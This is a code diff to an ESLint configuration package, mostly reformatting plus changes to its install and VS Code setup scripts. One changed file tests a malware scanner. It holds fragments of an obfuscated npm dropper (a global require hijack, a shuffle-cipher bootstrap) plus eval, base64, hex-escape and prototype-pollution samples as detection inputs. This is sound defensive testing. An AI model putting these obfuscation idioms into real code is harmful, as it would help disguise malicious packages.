-      dp[i][j] = a[i - 1] === b[j - 1]
-        ? dp[i - 1][j - 1]
-        : 1 + Math.min(dp[i - 1][j], dp[i][j - 1], dp[i - 1][j - 1])
+      dp[i][j] = a[i - 1] === b[j - 1] ? dp[i - 1][j - 1] : 1 + Math.min(dp[i - 1][j], dp[i][j - 1], dp[i - 1][j - 1])
     }
   }
   return dp[a.length][b.length]
@@ -217,9 +220,7 @@ export function printScanHeader(title, subtitle) {
 export function printScanFooter(blocking, warnings, blockMessage, bypassHint) {
   console.log(`\n${HR}`)
   if (blocking.length === 0) {
-    const warnNote = warnings.length > 0
-      ? `  ${DIM}(${warnings.length} warning(s) — review recommended)${R}`
-      : ''
+    const warnNote = warnings.length > 0 ? `  ${DIM}(${warnings.length} warning(s) — review recommended)${R}` : ''
     console.log(`  ${GRN}${BOLD}✔  Security scan passed${R}${warnNote}`)
     console.log(HR)
     console.log()

package/tools/security/test-patterns.mjs

@@ -21,34 +21,34 @@ const testCases = [
   {
     label: 'Dropper — global require hijack',
     expectedId: 'require-global-hijack',
-    line: "global[_$_1e42[0]]= require;",
+    line: 'global[_$_1e42[0]]= require;',
   },
   {
     label: 'Dropper — global bracket assignment via decoded array',
     expectedId: 'global-bracket-assignment',
-    line: "global[_$_1e42[2]]= module",
+    line: 'global[_$_1e42[2]]= module',
   },
   {
     label: 'Dropper — obfuscated _$_ variable names',
     expectedId: 'obfuscated-variable-names',
-    line: "var _$_1e42=(function(l,e){var h=l.length;var g=[];",
+    line: 'var _$_1e42=(function(l,e){var h=l.length;var g=[];',
   },
   {
     label: 'Dropper — shuffle-cipher IIFE bootstrap',
     expectedId: 'shuffle-cipher-iife',
-    line: `var _$_1e42=(function(l,e){var h=l.length;var g=[];for(var j=0;j<h;j++){g[j]=l.charAt(j)};for(var j=0;j<h;j++){var s=e*(j+489)+(e%19597);var w=e*(j+659)+(e%48014);var t=s%h;var p=w%h;var y=g[t];g[t]=g[p];g[p]=y;e=(s+w)%4573868};return g.join('')})("rmcej%otb%",2857687)`,
+    line: 'var _$_1e42=(function(l,e){var h=l.length;var g=[];for(var j=0;j<h;j++){g[j]=l.charAt(j)};for(var j=0;j<h;j++){var s=e*(j+489)+(e%19597);var w=e*(j+659)+(e%48014);var t=s%h;var p=w%h;var y=g[t];g[t]=g[p];g[p]=y;e=(s+w)%4573868};return g.join(\'\')})("rmcej%otb%",2857687)',
   },
   {
     label: 'Dropper — array-based Function call chain (final execution)',
     expectedId: 'array-fn-call-chain',
-    line: "var Tgw=jFD(LQI,pYd );Tgw(2509);",
+    line: 'var Tgw=jFD(LQI,pYd );Tgw(2509);',
   },
 
   // ── Classic attack patterns ───────────────────────────────────────────────
   {
     label: 'eval() call',
     expectedId: 'no-eval',
-    line: "const x = eval(someVar)",
+    line: 'const x = eval(someVar)',
   },
   {
     label: 'new Function() call',
@@ -58,22 +58,22 @@ const testCases = [
   {
     label: 'Buffer base64 decode',
     expectedId: 'base64-decode',
-    line: `const payload = Buffer.from('abc123', 'base64').toString()`,
+    line: "const payload = Buffer.from('abc123', 'base64').toString()",
   },
   {
     label: 'String.fromCharCode obfuscation',
     expectedId: 'charcode-obfuscation',
-    line: "const s = String.fromCharCode(104, 101, 108, 108, 111, 32, 119, 111, 114)",
+    line: 'const s = String.fromCharCode(104, 101, 108, 108, 111, 32, 119, 111, 114)',
   },
   {
     label: 'Hex-escaped string payload',
     expectedId: 'hex-string-obfuscation',
-    line: `const k='\\x68\\x65\\x6c\\x6c\\x6f\\x77\\x6f\\x72\\x6c\\x64\\x68\\x65\\x6c\\x6c\\x6f\\x77\\x6f\\x72\\x6c\\x64\\x20\\x68'`,
+    line: "const k='\\x68\\x65\\x6c\\x6c\\x6f\\x77\\x6f\\x72\\x6c\\x64\\x68\\x65\\x6c\\x6c\\x6f\\x77\\x6f\\x72\\x6c\\x64\\x20\\x68'",
   },
   {
     label: 'Prototype pollution',
     expectedId: 'prototype-pollution',
-    line: "obj.__proto__ = { admin: true }",
+    line: 'obj.__proto__ = { admin: true }',
   },
   {
     label: 'child_process in config',
@@ -97,14 +97,11 @@ for (const tc of testCases) {
     console.log(`${GRN}✔${R}  ${tc.label}`)
     console.log(`   ${YLW}→ [${hit.severity.toUpperCase()}] ${hit.id}${R}`)
     passed++
-  }
-  else {
+  } else {
     console.log(`${RED}${BOLD}✖  ${tc.label}${R}`)
     console.log(`   Expected pattern id: ${tc.expectedId}`)
-    if (matched.length > 0)
-      console.log(`   (other matches: ${matched.map(p => p.id).join(', ')})`)
-    else
-      console.log(`   (no patterns matched this line)`)
+    if (matched.length > 0) console.log(`   (other matches: ${matched.map(p => p.id).join(', ')})`)
+    else console.log('   (no patterns matched this line)')
     failed++
   }
 }

package/tools/setup/install.mjs

@@ -13,19 +13,16 @@ function log(msg) {
 
 function getProjectRoot() {
   const root = process.env.INIT_CWD || process.cwd()
-  if (!existsSync(join(root, 'package.json')))
-    return null
+  if (!existsSync(join(root, 'package.json'))) return null
   return root
 }
 
 function ensureDir(dirPath) {
-  if (!existsSync(dirPath))
-    mkdirSync(dirPath, { recursive: true })
+  if (!existsSync(dirPath)) mkdirSync(dirPath, { recursive: true })
 }
 
 function writeIfMissing(filePath, content) {
-  if (existsSync(filePath))
-    return false
+  if (existsSync(filePath)) return false
   writeFileSync(filePath, content, 'utf8')
   return true
 }
@@ -56,8 +53,7 @@ indent_size = 2
 [Makefile]
 indent_style = tab
 `
-  if (writeIfMissing(editorConfigPath, content))
-    log('Created .editorconfig')
+  if (writeIfMissing(editorConfigPath, content)) log('Created .editorconfig')
 }
 
 // ─── .eslint-user-ignore ────────────────────────────────────────────────────
@@ -80,8 +76,7 @@ function ensureEslintUserIgnore(projectRoot) {
 # docs/**
 # *.pdf
 `
-  if (writeIfMissing(ignorePath, content))
-    log('Created .eslint-user-ignore')
+  if (writeIfMissing(ignorePath, content)) log('Created .eslint-user-ignore')
 }
 
 // ─── eslint.config.mjs ─────────────────────────────────────────────────────
@@ -97,8 +92,7 @@ export default createArchipelagoConfig({
   },
 })
 `
-  if (writeIfMissing(eslintConfigPath, content))
-    log('Created eslint.config.mjs')
+  if (writeIfMissing(eslintConfigPath, content)) log('Created eslint.config.mjs')
 }
 
 // ─── .prettierrc ────────────────────────────────────────────────────────────
@@ -110,8 +104,7 @@ function ensurePrettierConfig(projectRoot) {
 export default config
 `
 
-  if (writeIfMissing(prettierModuleConfigPath, prettierModuleConfigContent))
-    log('Created prettier.config.mjs')
+  if (writeIfMissing(prettierModuleConfigPath, prettierModuleConfigContent)) log('Created prettier.config.mjs')
 
   const prettierPath = join(projectRoot, '.prettierrc')
   const defaults = {
@@ -135,14 +128,11 @@ export default config
     const plugins = Array.isArray(current.plugins) ? current.plugins : []
     const deduped = [...new Set([...plugins, 'prettier-plugin-tailwindcss'])]
     current.plugins = deduped
-    if (typeof current.singleQuote !== 'boolean')
-      current.singleQuote = true
-    if (typeof current.semi !== 'boolean')
-      current.semi = false
+    if (typeof current.singleQuote !== 'boolean') current.singleQuote = true
+    if (typeof current.semi !== 'boolean') current.semi = false
     writeFileSync(prettierPath, `${JSON.stringify(current, null, 2)}\n`, 'utf8')
     log('Updated .prettierrc')
-  }
-  catch {
+  } catch {
     // Keep existing file untouched if it is not JSON.
   }
 }
@@ -151,8 +141,7 @@ function ensureCommitlintConfig(projectRoot) {
   const commitlintConfigPath = join(projectRoot, 'commitlint.config.cjs')
   const content = `module.exports = require('@archpublicwebsite/eslint-config/commitlint')
 `
-  if (writeIfMissing(commitlintConfigPath, content))
-    log('Created commitlint.config.cjs')
+  if (writeIfMissing(commitlintConfigPath, content)) log('Created commitlint.config.cjs')
 }
 
 function ensureLintStagedConfig(projectRoot) {
@@ -161,8 +150,7 @@ function ensureLintStagedConfig(projectRoot) {
 
 export default config
 `
-  if (writeIfMissing(lintStagedConfigPath, content))
-    log('Created lint-staged.config.mjs')
+  if (writeIfMissing(lintStagedConfigPath, content)) log('Created lint-staged.config.mjs')
 }
 
 function ensurePrettierIgnore(projectRoot) {
@@ -178,8 +166,7 @@ pnpm-lock.yaml
 package-lock.json
 yarn.lock
 `
-  if (writeIfMissing(prettierIgnorePath, content))
-    log('Created .prettierignore')
+  if (writeIfMissing(prettierIgnorePath, content)) log('Created .prettierignore')
 }
 
 // ─── .hooks ─────────────────────────────────────────────────────────────────
@@ -233,18 +220,15 @@ node node_modules/@archpublicwebsite/eslint-config/tools/git-hooks/pre-push.mjs
       created = true
     }
   })
-  if (created)
-    log('Created .hooks/ (pre-commit, prepare-commit-msg, commit-msg, post-commit, pre-push)')
+  if (created) log('Created .hooks/ (pre-commit, prepare-commit-msg, commit-msg, post-commit, pre-push)')
 }
 
 function ensureHooksPath(projectRoot) {
-  if (!existsSync(join(projectRoot, '.git')))
-    return
+  if (!existsSync(join(projectRoot, '.git'))) return
   try {
     execSync('git config core.hooksPath .hooks', { cwd: projectRoot, stdio: 'ignore' })
     log('Set git core.hooksPath → .hooks')
-  }
-  catch {
+  } catch {
     // Ignore setup failures in non-git contexts.
   }
 }
@@ -284,8 +268,7 @@ function ensurePackageScripts(projectRoot) {
   let pkg
   try {
     pkg = JSON.parse(readFileSync(packageJsonPath, 'utf8'))
-  }
-  catch {
+  } catch {
     return
   }
 
@@ -299,7 +282,8 @@ function ensurePackageScripts(projectRoot) {
     precommit: 'node node_modules/@archpublicwebsite/eslint-config/tools/git-hooks/pre-commit.mjs',
     prepush: 'node node_modules/@archpublicwebsite/eslint-config/tools/git-hooks/pre-push.mjs',
     'security:global-scan': 'bash ./node_modules/@archpublicwebsite/eslint-config/tools/security/scan-global.sh',
-    'security:safe-check': 'bash ./node_modules/@archpublicwebsite/eslint-config/tools/security/safe-reinstall.sh --check-only',
+    'security:safe-check':
+      'bash ./node_modules/@archpublicwebsite/eslint-config/tools/security/safe-reinstall.sh --check-only',
     'security:pre-push': 'node node_modules/@archpublicwebsite/eslint-config/tools/git-hooks/pre-push.mjs',
   }
 
@@ -311,13 +295,26 @@ function ensurePackageScripts(projectRoot) {
     }
   }
 
+  const lintStagedConfigPath = join(projectRoot, 'lint-staged.config.mjs')
+  const hasLintStagedConfig = existsSync(lintStagedConfigPath)
+
+  // Auto-heal legacy/broken lint-staged script when it points to a missing file.
+  if (
+    typeof scripts['lint-staged'] === 'string' &&
+    scripts['lint-staged'].includes('--config lint-staged.config.mjs') &&
+    !hasLintStagedConfig
+  ) {
+    scripts['lint-staged'] = 'lint-staged'
+    updated = true
+  }
+
   if (!updated) {
     return
   }
 
   pkg.scripts = scripts
   writeFileSync(packageJsonPath, `${JSON.stringify(pkg, null, 2)}\n`, 'utf8')
-  log('Updated package.json scripts (precommit, security:global-scan, security:safe-check)')
+  log('Updated package.json scripts (lint-staged, precommit, security:global-scan, security:safe-check)')
 }
 
 // ─── .vscode/extensions.json ────────────────────────────────────────────────
@@ -328,26 +325,24 @@ function ensureVscodeExtensions(projectRoot) {
 
   ensureDir(vscodeDir)
 
-  const recommended = [
-    'dbaeumer.vscode-eslint',
-    'esbenp.prettier-vscode',
-    'vue.volar',
-  ]
+  const recommended = ['dbaeumer.vscode-eslint', 'esbenp.prettier-vscode', 'vue.volar']
+  const unwanted = ['octref.vetur', 'vue.vscode-typescript-vue-plugin']
 
-  let current = { recommendations: [] }
+  let current = { recommendations: [], unwantedRecommendations: [] }
   if (existsSync(extPath)) {
     try {
       current = JSON.parse(readFileSync(extPath, 'utf8'))
-      if (!Array.isArray(current.recommendations))
-        current.recommendations = []
-    }
-    catch {
-      current = { recommendations: [] }
+      if (!Array.isArray(current.recommendations)) current.recommendations = []
+      if (!Array.isArray(current.unwantedRecommendations)) current.unwantedRecommendations = []
+    } catch {
+      current = { recommendations: [], unwantedRecommendations: [] }
     }
   }
 
   const merged = [...new Set([...current.recommendations, ...recommended])]
+  const mergedUnwanted = [...new Set([...current.unwantedRecommendations, ...unwanted])]
   current.recommendations = merged
+  current.unwantedRecommendations = mergedUnwanted
   writeFileSync(extPath, `${JSON.stringify(current, null, 2)}\n`, 'utf8')
   log('Created/updated .vscode/extensions.json')
 }
@@ -356,8 +351,7 @@ function ensureVscodeExtensions(projectRoot) {
 
 function main() {
   const projectRoot = getProjectRoot()
-  if (!projectRoot)
-    return
+  if (!projectRoot) return
 
   log('Setting up project...')
 

package/tools/setup/vscode.mjs

@@ -9,20 +9,30 @@ const TAG = '[@archpublicwebsite/eslint-config]'
  * the correct file types.
  */
 const VSCODE_ESLINT_SETTINGS = {
+  // Use workspace TypeScript for consistent Volar/TS plugin resolution
+  'typescript.tsdk': 'node_modules/typescript/lib',
+  'typescript.enablePromptUseWorkspaceTsdk': true,
+
+  // Ensure Vue SFC files are always handled as Vue documents
+  'files.associations': {
+    '*.vue': 'vue',
+  },
+
+  // Volar + TS integration for Vue 3 SFC template diagnostics
+  'vue.server.hybridMode': true,
+  'volar.takeOverMode.enabled': true,
+
+  // Prevent duplicate/broken diagnostics from built-in TS/JS validators
+  // (vue-tsc + Volar remain the source of truth for Vue type diagnostics).
+  'typescript.validate.enable': false,
+  'javascript.validate.enable': false,
+
   // Use flat config mode (required for eslint.config.mjs)
   'eslint.useFlatConfig': true,
+  'eslint.workingDirectories': [{ mode: 'auto' }],
 
   // Enable ESLint for these languages
-  'eslint.validate': [
-    'javascript',
-    'javascriptreact',
-    'typescript',
-    'typescriptreact',
-    'vue',
-    'json',
-    'jsonc',
-    'markdown',
-  ],
+  'eslint.validate': ['javascript', 'javascriptreact', 'typescript', 'typescriptreact', 'vue', 'json', 'jsonc'],
 
   // Auto-fix on save via ESLint
   'editor.codeActionsOnSave': {
@@ -33,7 +43,22 @@ const VSCODE_ESLINT_SETTINGS = {
   // Let ESLint handle formatting instead of the built-in formatter
   'editor.formatOnSave': false,
 
-  // Disable the default VS Code JSON formatter for files ESLint handles
+  // Formatters per language — ESLint enforces no-semi, single-quote on save
+  '[javascript]': {
+    'editor.defaultFormatter': 'dbaeumer.vscode-eslint',
+  },
+  '[javascriptreact]': {
+    'editor.defaultFormatter': 'dbaeumer.vscode-eslint',
+  },
+  '[typescript]': {
+    'editor.defaultFormatter': 'dbaeumer.vscode-eslint',
+  },
+  '[typescriptreact]': {
+    'editor.defaultFormatter': 'dbaeumer.vscode-eslint',
+  },
+  '[vue]': {
+    'editor.defaultFormatter': 'Vue.volar',
+  },
   '[json]': {
     'editor.defaultFormatter': 'dbaeumer.vscode-eslint',
   },
@@ -71,16 +96,15 @@ function deepMerge(target, source) {
     const srcVal = source[key]
     const tgtVal = result[key]
     if (
-      srcVal !== null
-      && typeof srcVal === 'object'
-      && !Array.isArray(srcVal)
-      && tgtVal !== null
-      && typeof tgtVal === 'object'
-      && !Array.isArray(tgtVal)
+      srcVal !== null &&
+      typeof srcVal === 'object' &&
+      !Array.isArray(srcVal) &&
+      tgtVal !== null &&
+      typeof tgtVal === 'object' &&
+      !Array.isArray(tgtVal)
     ) {
       result[key] = deepMerge(tgtVal, srcVal)
-    }
-    else {
+    } else {
       result[key] = srcVal
     }
   }
@@ -107,8 +131,7 @@ export function ensureVscodeSettings(projectRoot) {
     try {
       const raw = readFileSync(settingsPath, 'utf8')
       current = JSON.parse(raw)
-    }
-    catch {
+    } catch {
       // File exists but is not valid JSON – back it up and start fresh
       const backupPath = `${settingsPath}.backup`
       writeFileSync(backupPath, readFileSync(settingsPath, 'utf8'), 'utf8')